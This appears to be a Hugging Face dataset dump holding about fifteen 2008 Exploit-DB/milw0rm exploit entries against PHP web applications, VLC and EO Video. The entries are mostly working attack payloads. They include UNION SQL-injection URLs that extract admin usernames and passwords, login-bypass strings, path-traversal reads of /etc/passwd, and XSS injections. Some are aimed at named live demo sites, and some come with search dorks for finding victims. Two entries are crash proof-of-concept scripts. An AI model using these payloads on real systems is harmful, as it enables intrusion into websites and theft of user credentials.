QLWD/code_shield huggingface dataset:
标题: BtiTracker 1.4.7 / xbtit 2.0.542 - SQL Injection EDB-ID: 6296 CVE: 2008-3784 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-25 漏洞利用脚本: ## BtiTracker/xBtiTracker Remote SQL Injection Vulnerability
## Author: InATeam (http://inattack.ru/)
## Affected versions: BtiTracker <= 1.4.7, xBtiTracker <= 2.0.542
## Software site: http://www.btiteam.org/
##
## ==============================================================================
## Exploit:
## ==============================================================================
## http://site/scrape.php?info_hash=1%27)
## +UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+users+WHERE+id_level=8/*
## ==============================================================================
## for xBtiTracker we need to specify prefix:
## ==============================================================================
## http://site/scrape.php?info_hash=1%27)
## +UNION+SELECT+0,CONCAT(0x3C623E,username,0x3a,password,0x3C2F623E3C62723E),0,0
## +FROM+xbtit_users+WHERE+id_level=8/*
## ==============================================================================

# milw0rm.com [2008-08-25] URL: https://www.exploit-db.com/exploits/6296
标题: 5 star review - Cross-Site Scripting / SQL Injection EDB-ID: 6294 CVE: 2008-3780 2008-3779 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-24 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## XSS / Remote SQL Injection
##
## Five Star Review ( recommend.php item_id )
##
## http://review-script.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploites :]]-
##
## User Exploite  >> www.TraGet.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_users+limit+1,1/* 
## Admin Exploite >> www.TraGet.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_admin/* 
##
## -[[ XSS ]]-
##
## www.TraGet.com/search/index.php?cmd=search&words= [[ XSS ]] &searchWhere=0&mode=normal
##
########################
########################
 
#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: Milw0rM :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-08-24] URL: https://www.exploit-db.com/exploits/6294
标题: easysite 2.3 - Multiple Vulnerabilities EDB-ID: 6288 CVE: 2008-4155 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: ####################################################################
[+] EasySite v2.3 Multiple Remote Vulnerabilities   
[+] Discovered By SirGod                          
[+] www.mortal-team.org                          
[+] Greetz : E.M.I.N.E.M, Ras ,Puscas_marin ,ToxicBlood,MesSiAH,xZu,HrN
####################################################################

[+] Local File Inclusion

http://localhost/www/index.php?module=Accueil&action=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?module=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?ss_module=../../../../autoexec.bat%00
http://localhost/modules/Module/index.php?ss_action=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?ss_action=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?ss_module=../../../../autoexec.bat%00
http://localhost/modules/Themes/index.php?module=../../../../autoexec.bat%00

And many others...

This will open autoexec.bat

[+] Arbitrary View Folder Contents

You can view the folder contents and the content of files view via LFI.

    http://localhost/www/index.php?module=../../../

    http://localhost/inc/vmenu.php?module=../../../

This will open C:/ directory and will show all the files from C:/ .

Example :

    * BOOTSECT.BAK
    * BcBtRmv.log
    * IO.SYS
    * MSDOS.SYS
    * autoexec.bat
    * bootmgr
    * config.sys
    * grldr
    * hiberfil.sys
    * pagefile.sys

####################################################################

# milw0rm.com [2008-08-21] URL: https://www.exploit-db.com/exploits/6288
标题: VideoLAN VLC Media Player 0.8.6i - Mms Protocol Handling Heap Overflow (PoC) EDB-ID: 6293 CVE: 2008-3794 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-23 漏洞利用脚本: -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name        : VLC 0.8.6i MMS Protocol Handling
Class         : Heap Overflow
Published    : 2008-08-24
Credit  : g_ (g_ # orange-bat # com)

- - Details -

This can be exploited from remote. User have to open mmst://
link poiting to server controlled by the attacker.

vlc\modules\access\mms\mmstu.c :

static int mms_ReceiveCommand( access_t *p_access )
{
    access_sys_t *p_sys = p_access->p_sys;

    for( ;; )
    {
        int i_used;
        int i_status;

        if( NetFillBuffer( p_access ) < 0 )
        {
            msg_Warn( p_access, "cannot fill buffer" );
            return VLC_EGENERIC;
        }
        if( p_sys->i_buffer_tcp > 0 )
        {
[1]         i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp,
                                         p_sys->i_buffer_tcp, &i_used );
[2]         if( i_used < MMS_BUFFER_SIZE ) 
            {
[3]             memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used,
                         MMS_BUFFER_SIZE - i_used ); //BUG! i_used overflow

(...)

[1] - function that sets i_used to negative value, see below
[2] - i_used is signed, so predicate is true
[3] - actual overflow, we have good control over what is written

static int  mms_ParseCommand( access_t *p_access,
                              uint8_t *p_data,
                              int i_data,
                              int *pi_used )
(...)
    i_length = GetDWLE( p_data + 8 ) + 16;
(...)
    if( i_length > p_sys->i_cmd )
    {
        msg_Warn( p_access,
                  "truncated command (missing %d bytes)",
                   i_length - i_data  );
        p_sys->i_command = 0;
        return -1;
    }
[1] else if( i_length < p_sys->i_cmd )
    {
        p_sys->i_cmd = i_length;
[2]     *pi_used = i_length;
    }

(...)

[1] - predicate is true
[2] - sets i_used from mms_ReceiveCommand

- - Proof of concept -

on localhost:

perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' > headshot
nc -l -v -p 1755 < headshot 

open this url in VLC:

mmst://127.0.0.1/

boom! headshot :)

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

(c) 2008 www.orange-bat.com 


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32) - GPGshell v3.70

iEYEARECAAYFAkiwgBkACgkQIUHRVUfOLgUKOgCdFOAznbm44YJWiEqaQJK7XaF2
AuIAnRjabi6RiPT6G/66kxseVG+K0rkj
=/CN5
-----END PGP SIGNATURE-----

# milw0rm.com [2008-08-23] URL: https://www.exploit-db.com/exploits/6293
标题: MiaCMS 4.6.5 - Multiple SQL Injections EDB-ID: 6295 CVE: 2008-3785 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-24 漏洞利用脚本: MiaCMS <= 4.6.5 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Contact: coder5(at)topmail.kz 
Home Page: www.antichat.ru
Date found: 24.08.08
Product: MiaCMS
Version: 4.6.5
Download script: http://miacms.googlecode.com/files/MiaCMS_v4.6.5.tar.gz
Vulnerability Class: SQL Injection


Exploit 1:

index.php?option=com_content&task=view&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=9

Exploit 2:

index.php?option=com_content&task=category&sectionid=doktor&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=27

Exploit 3:

index.php?option=com_content&task=blogsection&id=-9999999+union+select+1,concat_ws(0x3a,username,password)+from+mia_users/*&Itemid=9


Opera -> Source(Ctrl+F3)

<div class="moduletable">

...

onclick="window.open('http://digg.com/submit?phase=3&amp;url='+encodeURIComponent(location.href)+'&amp;bodytext=This+site+uses+MiaCMS+-+the+free%2C+open+source+content+management+system+admin%3A21232f297a57a5a743894a0e4a801fc3&amp;

admin:21232f297a57a5a743894a0e4a801fc3

http://localhost/[installdir]/administrator/

# milw0rm.com [2008-08-24] URL: https://www.exploit-db.com/exploits/6295
标题: BandSite CMS 1.1.4 - Download Backup / Cross-Site Scripting / Cross-Site Request Forgery EDB-ID: 6286 CVE: 2008-7058 2008-7057 2008-7056 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: ###########################################################################
[+] BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN
###########################################################################

[+] Arbitrary Download Database

Go to

   http://localhost/[Path]/adminpanel/phpmydump.php

and the download will begin ( database.sql ) .


[+] Cross Site Scripting

    http://localhost/[Path]/merchandise.php?type=[XSS]
    http://localhost/[Path]/merchandise.php?type=<script>alert(document.cookie)</script>


[+] Cross Site Request Forgery

 If a logged in user with administrator privilegies click the following url he will be logged out.

    http://localhost/[Path]/adminpanel/logout.php


###########################################################################

# milw0rm.com [2008-08-21] URL: https://www.exploit-db.com/exploits/6286
标题: Photocart 3.9 - Multiple SQL Injections EDB-ID: 6285 CVE: 2008-3788 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 18.08.08
Product: PhotoCart
Version: 3.9 Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ Ð¸ Ð±Ð¾Ð»ÐµÐµ Ñ€Ð°Ð½Ð½Ð¸Ðµ Ð²ÐµÑ€ÑÐ¸Ð¸
Type: Photography Shopping Cart
URL: www.picturespro.com
Vulnerability Class: SQL Injection

/[installdir]/search.php

Vuln code:

PHP:
if($_REQUEST['searchby'] == "qtitle") {
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_title LIKE '%".$_REQUEST['qtitle']."%' ";
print "Results for Gallery or event name: ".$_REQUEST['qtitle']." ";
}
if($_REQUEST['searchby'] == "qid") {
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_id='".$_REQUEST['qid']."' ";
print "Results for Gallery or event ID: ".$_REQUEST['qid']." ";
}
if($_REQUEST['searchby'] == "qdate") {
$gdate = "".$_REQUEST['qyear']."-".$_REQUEST['qmonth']."-".$_REQUEST['qday']."";
$gal_where['where'] = "WHERE gal_status='1' AND gal_client!='1 '$and_expire AND gal_date='$gdate' ";
print "Results for Gallery or event date: ".$_REQUEST['qmonth']."-".$_REQUEST['qday']."-".$_REQUEST['qyear']." ";
}


magic_quotes_gpc = Off

Example:
http://[server]/[installdir]/search.php

Ð’Ð²Ð¾Ð´Ð¸Ð¼ Ð² Ð¿Ð¾Ð»Ðµ Gallery or event name:

Exploit 1:

' union select 1,2,3,4,5,concat_ws(0x3a,admin_user,admin_pass),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26 from admin/*



Exploit 2:

' union select 1,2,3,4,5,concat_ws(0x3a,client_name,client_pass,c lient_email),7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26 from pc_clients/*



Authentication Bypass SQL Injection

/[installdir]/_login.php

Vuln code:

PHP:
$result = @mysql_query("SELECT * FROM pc_clients WHERE client_email='".$_REQUEST['email']."' AND client_pass='".$_REQUEST['password']."'");


Email Address: 1' or 1=1/*
Password: 1' or 1=1/*

# milw0rm.com [2008-08-21] URL: https://www.exploit-db.com/exploits/6285
标题: Active PHP BookMarks 1.1.02 - SQL Injection EDB-ID: 6277 CVE: 2008-3748 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-19 漏洞利用脚本: |___________________________________________________|
|
| Bookmarks V 1.1.02 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://lbstone.com/apb/?version=1.1.02
|
| DorK   : Powered by Active PHP Bookmarks v1.1.02
|
| DorK   : inurl:bookmarks/view_group.php?id=
|___________________________________________________|





Exploit: 

www.[target].com/Script/view_group.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8+from+apb_users--



____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|  
| Iraqihack | FAHD | mos_chori | Silic0n
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-19] URL: https://www.exploit-db.com/exploits/6277
标题: onenews Beta 2 - Cross-Site Scripting / HTML Injection / SQL Injection EDB-ID: 6292 CVE: 2008-7059 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-23 漏洞利用脚本: ______________________///////////////\\\\\\\\\\\\\\\____________________
}Name   : OneNews Beta 2 Multiple Vulnerabilities                      {
{Author : suN8Hclf[crimsoN_Loyd9], (DaRk-CodeRs Group)                 }
}Source : http://sourceforge.net/project/showfiles.php?group_id=193198 {
{Dork   : Powered by One-News                                          }
}Greetz : all DaRk-CodeRs guys, e.wiZz, str0ke                         {
_________________________________{}*{}__________________________________


==========================
|1. XSS and html injection|
==========================
Conditions: MAGIC_QUOTES=ON/OFF
Vulnerable code(add.php):
--------------------------------------CODE----------------------------------------------
$insert = "INSERT INTO entries (title, content) VALUES ('" . $_POST['title'] . "', '" . $_POST['content'] . "')";
mysql_query($insert) or die ('I cannot do that because ' . mysql_error());
--------------------------------------CODE----------------------------------------------
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$insert = "INSERT INTO comments (blogid, author, comment) VALUES ('" . $_POST['itemnum'] . "', '" . $_POST['author'] . "', '" . $_POST['comment'] . "')";
mysql_query($insert) or die ('I cannot do that because ' . mysql_error());
--------------------------------------CODE----------------------------------------------

NOTE:
To exploit the bug in the add.php code, you have got to be logged in!!!

Exploit:
Put this down into the forms, while adding comments(index.php) or news(add.php):

1. <h1>HACKED</h1>
2. <html><head></head><body bgcolor=\"red\">HACKED</body></html>
3. <script>alert(\'Hacked\');</script>
4. Use your imagination :)

==========================
|2. SQL Injection        |
==========================
Conditions: MAGIC_QUOTES=OFF
Vulnerable code(index.php):
--------------------------------------CODE----------------------------------------------
$query = "SELECT * FROM entries WHERE id = '" . $_GET['q'] . "' LIMIT 1";
$result = mysql_query($query);
while($row = mysql_fetch_array($result)){ 
--------------------------------------CODE----------------------------------------------

Exploit:

http://localhost:8080/onenews_beta2/index.php?q=3' and 1=2 union select 1,2,3/*

# milw0rm.com [2008-08-23] URL: https://www.exploit-db.com/exploits/6292
标题: phpBazar 2.0.2 - 'adid' SQL Injection EDB-ID: 6280 CVE: 2008-3767 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-20 漏洞利用脚本: phpBazar SQL Injection Vulnerability all versions
by:  e.wiZz!
info: Bosnian Idiot FTW!

In the wild....
*********************************************************************
Script site : http://www.smartisoft.com/

Vulnerability:
http://inthewild.com/<INSTALL PATH>/classified.php?catid=x&subcatid=x&adid=x SQL INJECTION

PoC on demo site:

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 911/*
Unknown column '911' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 67/*
Unknown column '67' in 'order clause'

http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 order by 66/*
Error : Database Query Error

...so its 66...omg :D
you can find columns this like:
http://www.phpbazar.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select sum(somecolumn) from users--

username,password:

http://www.xxx.com/bazar/classified.php?catid=2&subcatid=5&adid=832 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,username,password,53,54,55,56,57,58,59,60,61,62,63,64,65,66 from mysql.user/*

# milw0rm.com [2008-08-20] URL: https://www.exploit-db.com/exploits/6280
标题: TinyCMS 1.1.2 - 'templater.php' Local File Inclusion EDB-ID: 6287 CVE: 2008-4740 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: ï»¿########################################################################################
#
#   Name        :   tinyCMS 1.1.2 (templater.php) Local File Inclusion Vulnerability
#   Author      :   cOndemned [ Dark-Coders ]
#   Greetz      :   Avantura, str0ke, ZaBeaTy, doctor, voo|doo, sid.psycho, irk4z
#   Conditions  :   Magic quotes gpc = Off / Register Globals = On
#   Other info  :   Prior versions probably are vulnerable too
#
########################################################################################

Source of /modules/ZZ_Templater/templater.php

    [ ... ]
    
    17.     $ftemplatedir = 'templates/'.$config['template'].'/';
    18.     include('templates/'.$config['template'].'/data.php');      // <--- LFI
    19.     if($tdata['useblocks'] == 1)
    
    [ ... ]
    

Proof of Concept :

    http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../etc/passwd%00
    http://[host]/[tinyCMS]/modules/ZZ_Templater/templater.php?config[template]=../../../../[local_file]%00
    

Jusf 4 fun    

# milw0rm.com [2008-08-21] URL: https://www.exploit-db.com/exploits/6287
标题: CustomCMS 4.0 - 'print.php' SQL Injection EDB-ID: 6284 CVE: 2008-4156 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-21 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 21.08.08
Product: CCMS Gaming Portal
Version: 4.0
The price: $55
URL: customcms.net
Vulnerability Class: SQL injection

print.php

Vuln code:

$q = mysql_query("SELECT * from ccms_news_comments WHERE w_id='$id'");


magic_quotes_gpc = Off

http://localhost/[installdir]/

Exploit:

print.php?id='+union+select+1,concat_ws(0x3a,usern ame,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21+from+ccms_user+where+userid=1/*

# milw0rm.com [2008-08-21] URL: https://www.exploit-db.com/exploits/6284
标题: Affiliate Directory - 'id' SQL Injection EDB-ID: 6270 CVE: 2008-3719 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-19 漏洞利用脚本: |___________________________________________________|
|
| Affiliate Directory ( id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://scripts-for-sites.com/item.php?item=107
|
| DorK   : "Copyright 2005 Affiliate Directory"
|___________________________________________________|

Exploit: 


www.[target].com/Script/directory.php?ax=deadlink&id=-14+union+select+1,2,concat_ws(0x3a,email,password,version(),user(),0x48757373696E5F58)+from+links--





L!VE DEMO: :


http://affiliate.scripts-for-sites.com/directory.php?ax=deadlink&id=-14+union+select+1,2,concat_ws(0x3a,email,password,version(),user(),0x48757373696E5F58)+from+links--



____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|  
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-19] URL: https://www.exploit-db.com/exploits/6270
标题: Ad Board - 'id' SQL Injection EDB-ID: 6271 CVE: 2008-3725 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-19 漏洞利用脚本: |___________________________________________________|
|
| Ad Board (trr.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.yourfreeworld.com/script/adboard.php
|
| DorK   : inurl:trr.php?id=
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/trr.php?id=-91+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11+from+adminsettings--






L!VE DEMO:
_________


http://www.downlinegoldmine.com/adboard/trr.php?id=-91+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11+from+adminsettings--


____________

Admin Login :

www.[target].com/Script/admin.php

____________
____________________________( Greetz )____________________________
|
| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
|  
| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-19] URL: https://www.exploit-db.com/exploits/6271
标题: EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) EDB-ID: 6253 CVE: 2008-3733 类型: DOS 平台: WINDOWS 发布日期: 2008-08-16 漏洞利用脚本: #!/usr/bin/python
# --------------------------------------------------------------
# EO Video v1.36 Heap Overflow local PoC/DoS exploit
# *.eop playlist file in <Name> buffer overflow
# Other versions may be vulnerable too...
# --------------------------------------------------------------
# Vulnerability discovered and coded by Muris Kurgas aka j0rgan
# jorganwd [at] gmail [dot] com
# --------------------------------------------------------------
#
# Who uses this crap of player anyway? :)
# --------------------------------------------------------------
# EAX 42424242
# EDX 42424242
# --------------------------------------------------------------

import os

bafer = '\x41'* 700 + '\x42' * 4

print "Spit me out, all bright and shiny! :)"
fileHandle = open ( 'plejlista.eop', 'w' )
fileHandle.write ('<EOPlaylist>\n<Playlist>\n<FolderList>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n ')
fileHandle.write ('</Folder>\n<Folder>\n<Name>nesto</Name>\n<TrueFrequency>1</TrueFrequency>\n</Folder>\n</FolderList>\n<ProjectElement>\n ')
fileHandle.write ('<Name>'+bafer+'</Name>')
fileHandle.write ('<StartTime>0</StartTime>\n<EndTime>0</EndTime>\n<MediaSize>\n<Width>-1</Width>\n<Height>-1</Height>\n</MediaSize>\n ')
fileHandle.write ('<State>30216</State>\n<FolderPositionIndex>0</FolderPositionIndex>\n ')
fileHandle.write ('</ProjectElement>\n</Playlist>\n</EOPlaylist>\n')
fileHandle.close ()

# milw0rm.com [2008-08-16] URL: https://www.exploit-db.com/exploits/6253